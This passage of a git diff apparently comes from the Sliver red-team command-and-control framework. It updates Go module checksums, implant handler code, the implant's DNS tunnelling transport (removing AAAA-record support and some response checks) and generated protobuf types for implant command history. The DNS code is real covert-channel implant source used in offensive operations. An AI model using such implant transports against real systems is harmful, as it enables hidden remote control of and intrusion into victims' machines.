h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= @@ -588,10 +619,13 @@ gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f/go.mod h1:pzr6sy8gDLfVmDAg8 honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.4.3 h1:o/n5/K5gXqk8Gozvs2cnL0F2S1/g1vcGCAx2vETjITw= +honnef.co/go/tools v0.4.3/go.mod h1:36ZgoUOrqOk1GxwHhyryEkq8FQWkUO2xGuSMhUCcdvA= howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM= +howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= inet.af/peercred v0.0.0-20210906144145-0893ea02156a h1:qdkS8Q5/i10xU2ArJMKYhVa1DORzBfYS/qA2UK2jheg= inet.af/peercred v0.0.0-20210906144145-0893ea02156a/go.mod h1:FjawnflS/udxX+SvpsMgZfdqx2aykOlkISeAsADi5IU= inet.af/wf v0.0.0-20221017222439-36129f591884 h1:zg9snq3Cpy50lWuVqDYM7AIRVTtU50y5WXETMFohW/Q= +inet.af/wf v0.0.0-20221017222439-36129f591884/go.mod h1:bSAQ38BYbY68uwpasXOTZo22dKGy9SNvI6PZFeKomZE= lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI= lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw= @@ -599,7 +633,9 @@ modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw= modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk= +modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM= +modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE= modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY= modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ= @@ -613,11 +649,14 @@ modernc.org/sqlite v1.23.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY= modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY= +modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c= modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg= modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY= +modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE= nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g= nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0= software.sslmate.com/src/go-pkcs12 v0.2.0 h1:nlFkj7bTysH6VkC4fGphtjXRbezREPgrHuJG20hBGPE= +software.sslmate.com/src/go-pkcs12 v0.2.0/go.mod h1:23rNcYsMabIc1otwLpTkCCPwUq6kQsTyowttG/as0kQ= tailscale.com v1.44.0 h1:MPos9n30kJvdyfL52045gVFyNg93K+bwgDsr8gqKq2o= tailscale.com v1.44.0/go.mod h1:+iYwTdeHyVJuNDu42Zafwihq1Uqfh+pW7pRaY1GD328= diff --git a/implant/sliver/handlers/handlers.go b/implant/sliver/handlers/handlers.go index 07ec6d8be9..541d7c354f 100644 --- a/implant/sliver/handlers/handlers.go +++ b/implant/sliver/handlers/handlers.go @@ -328,8 +328,7 @@ func cpHandler(data []byte, resp RPCResponse) { resp(data, err) return } - defer srcFile.Close() - + dstFile, err := os.Create(cpReq.Dst) if err != nil { // {{if .Config.Debug}} @@ -341,8 +340,7 @@ func cpHandler(data []byte, resp RPCResponse) { resp(data, err) return } - defer dstFile.Close() - + bytesWritten, err := io.Copy(dstFile, srcFile) if err != nil { // {{if .Config.Debug}} diff --git a/implant/sliver/sliver.go b/implant/sliver/sliver.go index 638c906a9c..02130340e2 100644 --- a/implant/sliver/sliver.go +++ b/implant/sliver/sliver.go @@ -240,6 +240,10 @@ func sessionStartup() { if connection != nil { err := sessionMainLoop(connection) if err != nil { + if err == ErrTerminate { + connection.Cleanup() + return + } connectionErrors++ if transports.GetMaxConnectionErrors() < connectionErrors { return diff --git a/implant/sliver/transports/dnsclient/dnsclient.go b/implant/sliver/transports/dnsclient/dnsclient.go index 09fd0067a1..66c6632bab 100644 --- a/implant/sliver/transports/dnsclient/dnsclient.go +++ b/implant/sliver/transports/dnsclient/dnsclient.go @@ -92,7 +92,6 @@ var ( ErrInvalidResponse = errors.New("invalid response") ErrInvalidIndex = errors.New("invalid start/stop index") ErrEmptyResponse = errors.New("empty response") - ErrInvalidMsg = errors.New("invalid dns message") ) // DNSOptions - c2 specific options @@ -103,7 +102,6 @@ type DNSOptions struct { MaxErrors int WorkersPerResolver int ForceBase32 bool - NoTXT bool ForceResolvConf string ForceResolvers string } @@ -143,7 +141,6 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions { MaxErrors: maxErrors, WorkersPerResolver: workersPerResolver, ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true", - NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true", ForceResolvConf: c2URI.Query().Get("force-resolv-conf"), ForceResolvers: c2URI.Query().Get("resolvers"), } @@ -170,7 +167,6 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient { metadata: map[string]*ResolverMetadata{}, parent: parent, forceBase32: opts.ForceBase32, - noTXT: opts.NoTXT, forceResolvConf: opts.ForceResolvConf, forceResolvers: opts.ForceResolvers, queryTimeout: opts.QueryTimeout, @@ -196,7 +192,6 @@ type SliverDNSClient struct { retryCount int queryTimeout time.Duration forceBase32 bool - noTXT bool forceResolvConf string forceResolvers string subdataSpace int @@ -261,8 +256,6 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D switch work.QueryType { case dns.TypeA: data, _, err = w.resolver.A(work.Domain) - case dns.TypeAAAA: - data, _, err = w.resolver.AAAA(work.Domain) case dns.TypeTXT: data, _, err = w.resolver.TXT(work.Domain) } @@ -299,7 +292,7 @@ func (s *SliverDNSClient) SessionInit() error { s.resolvers = []DNSResolver{} for _, server := range s.resolvConf.Servers { s.resolvers = append(s.resolvers, - NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent), + NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout), ) } // {{if .Config.Debug}} @@ -347,14 +340,6 @@ func (s *SliverDNSClient) SessionInit() error { // {{end}} return err } - - if len(respData) < 1 { - // {{if .Config.Debug}} - log.Printf("[dns] no data received in message") - // {{end}} - return ErrEmptyResponse - } - data, err := s.cipherCtx.Decrypt(respData) if err != nil { // {{if .Config.Debug}} @@ -404,14 +389,7 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode } resp := []byte{} for _, subdata := range allSubdata { - - var respData []byte - var err error - if s.noTXT { - respData, _, err = resolver.AAAA(subdata) - } else { - respData, _, err = resolver.TXT(subdata) - } + respData, _, err := resolver.TXT(subdata) if err != nil { // {{if .Config.Debug}} log.Printf("[dns] init msg failure %v", err) @@ -420,11 +398,6 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode } if 0 < len(respData) { resp = append(resp, respData...) - } else { - // {{if .Config.Debug}} - log.Printf("[dns] no data received in response") - // {{end}} - return nil, ErrInvalidResponse } } return resp, nil @@ -452,7 +425,6 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error { // ReadEnvelope - Recv an envelope from the server func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) { - var respData []byte if s.closed { return nil, ErrClosed } @@ -472,26 +444,14 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) { // {{if .Config.Debug}} log.Printf("[dns] poll msg domain: %v", domain) // {{end}} - - if s.noTXT { - respData, _, err = resolver.AAAA(domain) - if err != nil { - return nil, err - } - } else { - respData, _, err = resolver.TXT(domain) - if err != nil { - return nil, err - } + respData, _, err := resolver.TXT(domain) + if err != nil { + return nil, err } - // {{if .Config.Debug}} log.Printf("[dns] read msg resp data: %v", respData) // {{end}} if len(respData) < 1 { - // {{if .Config.Debug}} - log.Printf("[dns] no data received in response") - // {{end}} return nil, nil } @@ -511,38 +471,10 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) { return nil, err } - if len(respData) < 1 { - // {{if .Config.Debug}} - log.Printf("[dns] no data received in message") - // {{end}} - return nil, nil - } - plaintext, err := s.cipherCtx.Decrypt(ciphertext) - if err != nil && err != cryptography.ErrReplayAttack { - return nil, err - } - - //Send clear - clearMsg, err := s.clearMsg(dnsMsg.ID) if err != nil { return nil, err } - domain, err = s.joinSubdataToParent(clearMsg) - if err != nil { - return nil, err - } - // {{if .Config.Debug}} - log.Printf("[dns] clear msg domain: %v", domain) - // {{end}} - - respData, _, err = resolver.A(domain) - if err != nil { - // {{if .Config.Debug}} - log.Printf("[dns] clear msg error: %s", err) - // {{end}} - } - envelope := &pb.Envelope{} err = proto.Unmarshal(plaintext, envelope) return envelope, err @@ -597,12 +529,7 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro return nil, ErrInvalidResponse } - var bytesPerTxt uint32 - if s.noTXT { - bytesPerTxt = 192 - } else { - bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin - } + const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin wg := &sync.WaitGroup{} results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1) @@ -628,21 +555,11 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro } wg.Add(1) - - if s.noTXT { - s.recvQueue <- &DNSWork{ - QueryType: dns.TypeAAAA, - Domain: domain, - Wg: wg, - Results: results, - } - } else { - s.recvQueue <- &DNSWork{ - QueryType: dns.TypeTXT, - Domain: domain, - Wg: wg, - Results: results, - } + s.recvQueue <- &DNSWork{ + QueryType: dns.TypeTXT, + Domain: domain, + Wg: wg, + Results: results, } } @@ -653,9 +570,6 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro recvData := make(chan []byte) errors := []error{} go func() { - // {{if .Config.Debug}} - log.Printf("[dns] Manifest Len: %d ", manifest.Size) - // {{end}} recvDataBuf := make([]byte, manifest.Size) for result := range results { if result.Err != nil { @@ -663,14 +577,11 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro continue } // {{if .Config.Debug}} - log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data) + log.Printf("[dns] read result data: %v", result.Data) // {{end}} recvMsg := &dnspb.DNSMessage{} err := proto.Unmarshal(result.Data, recvMsg) if err != nil { - // {{if .Config.Debug}} - log.Printf("[dns] unmarshal error: %s", err) - // {{end}} errors = append(errors, result.Err) continue } @@ -678,9 +589,6 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro log.Printf("[dns] recv msg: %v", recvMsg) // {{end}} if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) { - // {{if .Config.Debug}} - log.Printf("[dns] invalid index") - // {{end}} errors = append(errors, ErrInvalidIndex) continue } @@ -906,23 +814,6 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) { } } -func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) { - nonceBuf := make([]byte, 8) - rand.Read(nonceBuf) - clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{ - ID: msgId, - Type: dnspb.DNSMessageType_CLEAR, - Data: nonceBuf, - }) - if s.enableCaseSensitiveEncoder { - msg, _ := s.base58.Encode(clearMsg) - return string(msg), nil - } else { - msg, _ := s.base32.Encode(clearMsg) - return string(msg), nil - } -} - func (s *SliverDNSClient) otpMsg() (string, error) { otpMsg := &dnspb.DNSMessage{ Type: dnspb.DNSMessageType_TOTP, diff --git a/implant/sliver/transports/dnsclient/resolver-generic.go b/implant/sliver/transports/dnsclient/resolver-generic.go index 935345d4b8..daa33ea741 100644 --- a/implant/sliver/transports/dnsclient/resolver-generic.go +++ b/implant/sliver/transports/dnsclient/resolver-generic.go @@ -39,7 +39,7 @@ var ( ) // NewGenericResolver - Instantiate a new generic resolver -func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration, parent string) DNSResolver { +func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver { if retries < 1 { retries = 1 } @@ -52,7 +52,6 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re WriteTimeout: timeout, }, base64: encoders.Base64Encoder{}, - parent: parent, } } @@ -63,7 +62,6 @@ type GenericResolver struct { retryWait time.Duration resolver *dns.Client base64 encoders.Base64Encoder - parent string } // Address - Return the address of the resolver @@ -116,87 +114,6 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) { return records, rtt, err } -// AAAA - Query for AAAA records -func (r *GenericResolver) AAAA(domain string) ([]byte, time.Duration, error) { - var resp []byte - var rtt time.Duration - var err error - for attempt := 0; attempt < r.retries; attempt++ { - resp, rtt, err = r.aaaa(domain) - if err == nil { - break - } - // {{if .Config.Debug}} - log.Printf("[dns] query error: %s (retry wait: %s)", err, r.retryWait) - // {{end}} - time.Sleep(r.retryWait) - } - return resp, rtt, err -} - -func (r *GenericResolver) aaaa(domain string) ([]byte, time.Duration, error) { - // {{if .Config.Debug}} - log.Printf("[dns] %s->AAAA record of %s ?", r.address, domain) - // {{end}} - resp, rtt, err := r.localQuery(domain, dns.TypeAAAA) - if err != nil { - return nil, rtt, err - } - if resp.Rcode != dns.RcodeSuccess { - // {{if .Config.Debug}} - log.Printf("[dns] error response status: %v", resp.Rcode) - // {{end}} - return nil, rtt, ErrInvalidRcode - } - records := make([]byte, 512) - dataSize := uint32(0) - - if len(resp.Answer) > 0 { - for _, answer := range resp.Answer { - switch answer := answer.(type) { - case *dns.AAAA: - // {{if .Config.Debug}} - log.Printf("[dns] answer (aaaa): %v", answer.AAAA) - // {{end}} - - chunkMeta := uint32(answer.Hdr.Ttl) - chunkIdx := (chunkMeta & 0xff00) >> 8 - // {{if .Config.Debug}} - log.Printf("[dns] chunk idx: %d", chunkIdx) - // {{end}} - - tempSize := chunkMeta & 0xff - if dataSize != 0 { - if tempSize != dataSize { - // {{if .Config.Debug}} - log.Printf("[dns] inconsistent record size. should all be the same: %d", tempSize) - // {{end}} - return nil, rtt, ErrInvalidResponse - } - } else { - dataSize = tempSize - } - - copy(records[chunkIdx*16:], []byte(answer.AAAA)) - //records = append(records, []byte(answer.AAAA)...) - } - } - // {{if .Config.Debug}} - } else { - log.Printf("[dns] answer (aaaa): no records returned") - // {{end}} - } - - data := []byte{} - if dataSize > 0 { - // Trim output data - data = make([]byte, dataSize) - copy(data, records[0:dataSize]) - } - - return data, rtt, err -} - // TXT - Query for TXT records func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) { var resp []byte @@ -228,24 +145,18 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) { } records := "" - data := []byte{} - if len(resp.Answer) > 0 { - for _, answer := range resp.Answer { - switch answer := answer.(type) { - case *dns.TXT: - // {{if .Config.Debug}} - log.Printf("[dns] answer (txt): %v", answer.Txt) - // {{end}} - records += strings.Join(answer.Txt, "") - } - } - if 0 < len(records) { - data, err = r.base64.Decode([]byte(records)) + for _, answer := range resp.Answer { + switch answer := answer.(type) { + case *dns.TXT: + // {{if .Config.Debug}} + log.Printf("[dns] answer (txt): %v", answer.Txt) + // {{end}} + records += strings.Join(answer.Txt, "") } - // {{if .Config.Debug}} - } else { - log.Printf("[dns] answer (txt): no records returned") - // {{end}} + } + data := []byte{} + if 0 < len(records) { + data, err = r.base64.Decode([]byte(records)) } return data, rtt, err } diff --git a/implant/sliver/transports/dnsclient/resolver-system.go b/implant/sliver/transports/dnsclient/resolver-system.go index 9dbec2acdf..6918fc91cf 100644 --- a/implant/sliver/transports/dnsclient/resolver-system.go +++ b/implant/sliver/transports/dnsclient/resolver-system.go @@ -19,7 +19,6 @@ package dnsclient */ import ( - "context" "net" "strings" "time" @@ -71,26 +70,6 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) { return addrs, rtt, nil } -// AAAA - Query for AAAA records -func (r *SystemResolver) AAAA(domain string) ([]byte, time.Duration, error) { - // {{if .Config.Debug}} - log.Printf("[dns] %s->AAAA record of %s?", r.Address(), domain) - // {{end}} - started := time.Now() - ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain) - rtt := time.Since(started) - if err != nil { - return nil, rtt, err - } - var addrs []byte - for _, ip := range ips { - if ip.To16() != nil { - addrs = append(addrs, ip.To16()...) - } - } - return addrs, rtt, nil -} - // TXT - Query for TXT records func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) { // {{if .Config.Debug}} diff --git a/implant/sliver/transports/dnsclient/resolver.go b/implant/sliver/transports/dnsclient/resolver.go index 02432204c7..09cf53ce74 100644 --- a/implant/sliver/transports/dnsclient/resolver.go +++ b/implant/sliver/transports/dnsclient/resolver.go @@ -26,6 +26,5 @@ import ( type DNSResolver interface { Address() string A(string) ([]byte, time.Duration, error) - AAAA(string) ([]byte, time.Duration, error) TXT(string) ([]byte, time.Duration, error) } diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index a291b96d2d..ea8d7089fd 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.26.0 +// protoc-gen-go v1.31.0 // protoc v3.15.8 // source: clientpb/client.proto @@ -1115,7 +1115,125 @@ func (x *Version) GetArch() string { return "" } -// [ Client Logs ] ---------------------------------------- +type Users struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Users []*User `protobuf:"bytes,1,rep,name=Users,proto3" json:"Users,omitempty"` +} + +func (x *Users) Reset() { + *x = Users{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Users) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Users) ProtoMessage() {} + +func (x *Users) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Users.ProtoReflect.Descriptor instead. +func (*Users) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{1} +} + +func (x *Users) GetUsers() []*User { + if x != nil { + return x.Users + } + return nil +} + +type User struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + Online bool `protobuf:"varint,2,opt,name=Online,proto3" json:"Online,omitempty"` + LastSeen int64 `protobuf:"varint,3,opt,name=LastSeen,proto3" json:"LastSeen,omitempty"` + Clients int32 `protobuf:"varint,4,opt,name=Clients,proto3" json:"Clients,omitempty"` +} + +func (x *User) Reset() { + *x = User{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *User) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*User) ProtoMessage() {} + +func (x *User) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use User.ProtoReflect.Descriptor instead. +func (*User) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{2} +} + +func (x *User) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *User) GetOnline() bool { + if x != nil { + return x.Online + } + return false +} + +func (x *User) GetLastSeen() int64 { + if x != nil { + return x.LastSeen + } + return 0 +} + +func (x *User) GetClients() int32 { + if x != nil { + return x.Clients + } + return 0 +} + +// [ Client Logs ] ------------------------------------------ type ClientLogData struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1128,7 +1246,7 @@ type ClientLogData struct { func (x *ClientLogData) Reset() { *x = ClientLogData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[1] + mi := &file_clientpb_client_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1141,7 +1259,7 @@ func (x *ClientLogData) String() string { func (*ClientLogData) ProtoMessage() {} func (x *ClientLogData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[1] + mi := &file_clientpb_client_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1154,7 +1272,7 @@ func (x *ClientLogData) ProtoReflect() protoreflect.Message { // Deprecated: Use ClientLogData.ProtoReflect.Descriptor instead. func (*ClientLogData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{1} + return file_clientpb_client_proto_rawDescGZIP(), []int{3} } func (x *ClientLogData) GetStream() string { @@ -1171,6 +1289,252 @@ func (x *ClientLogData) GetData() []byte { return nil } +type ImplantCommand struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Stream string `protobuf:"bytes,1,opt,name=Stream,proto3" json:"Stream,omitempty"` + User string `protobuf:"bytes,2,opt,name=User,proto3" json:"User,omitempty"` + ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"` + ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"` + ExecutedAt int64 `protobuf:"varint,5,opt,name=ExecutedAt,proto3" json:"ExecutedAt,omitempty"` + Block string `protobuf:"bytes,6,opt,name=Block,proto3" json:"Block,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *ImplantCommand) Reset() { + *x = ImplantCommand{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *ImplantCommand) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ImplantCommand) ProtoMessage() {} + +func (x *ImplantCommand) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ImplantCommand.ProtoReflect.Descriptor instead. +func (*ImplantCommand) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{4} +} + +func (x *ImplantCommand) GetStream() string { + if x != nil { + return x.Stream + } + return "" +} + +func (x *ImplantCommand) GetUser() string { + if x != nil { + return x.User + } + return "" +} + +func (x *ImplantCommand) GetImplantID() string { + if x != nil { + return x.ImplantID + } + return "" +} + +func (x *ImplantCommand) GetImplantName() string { + if x != nil { + return x.ImplantName + } + return "" +} + +func (x *ImplantCommand) GetExecutedAt() int64 { + if x != nil { + return x.ExecutedAt + } + return 0 +} + +func (x *ImplantCommand) GetBlock() string { + if x != nil { + return x.Block + } + return "" +} + +func (x *ImplantCommand) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +type HistoryRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + UserOnly bool `protobuf:"varint,1,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"` + MaxLines int32 `protobuf:"varint,2,opt,name=MaxLines,proto3" json:"MaxLines,omitempty"` + ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"` + ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *HistoryRequest) Reset() { + *x = HistoryRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *HistoryRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HistoryRequest) ProtoMessage() {} + +func (x *HistoryRequest) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[5] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. +func (*HistoryRequest) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{5} +} + +func (x *HistoryRequest) GetUserOnly() bool { + if x != nil { + return x.UserOnly + } + return false +} + +func (x *HistoryRequest) GetMaxLines() int32 { + if x != nil { + return x.MaxLines + } + return 0 +} + +func (x *HistoryRequest) GetImplantID() string { + if x != nil { + return x.ImplantID + } + return "" +} + +func (x *HistoryRequest) GetImplantName() string { + if x != nil { + return x.ImplantName + } + return "" +} + +func (x *HistoryRequest) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +// History - Command history content. +type History struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + HistoryLen int32 `protobuf:"varint,2,opt,name=HistoryLen,proto3" json:"HistoryLen,omitempty"` + UserOnly bool `protobuf:"varint,3,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"` + Commands []*ImplantCommand `protobuf:"bytes,4,rep,name=Commands,proto3" json:"Commands,omitempty"` + Response *commonpb.Response 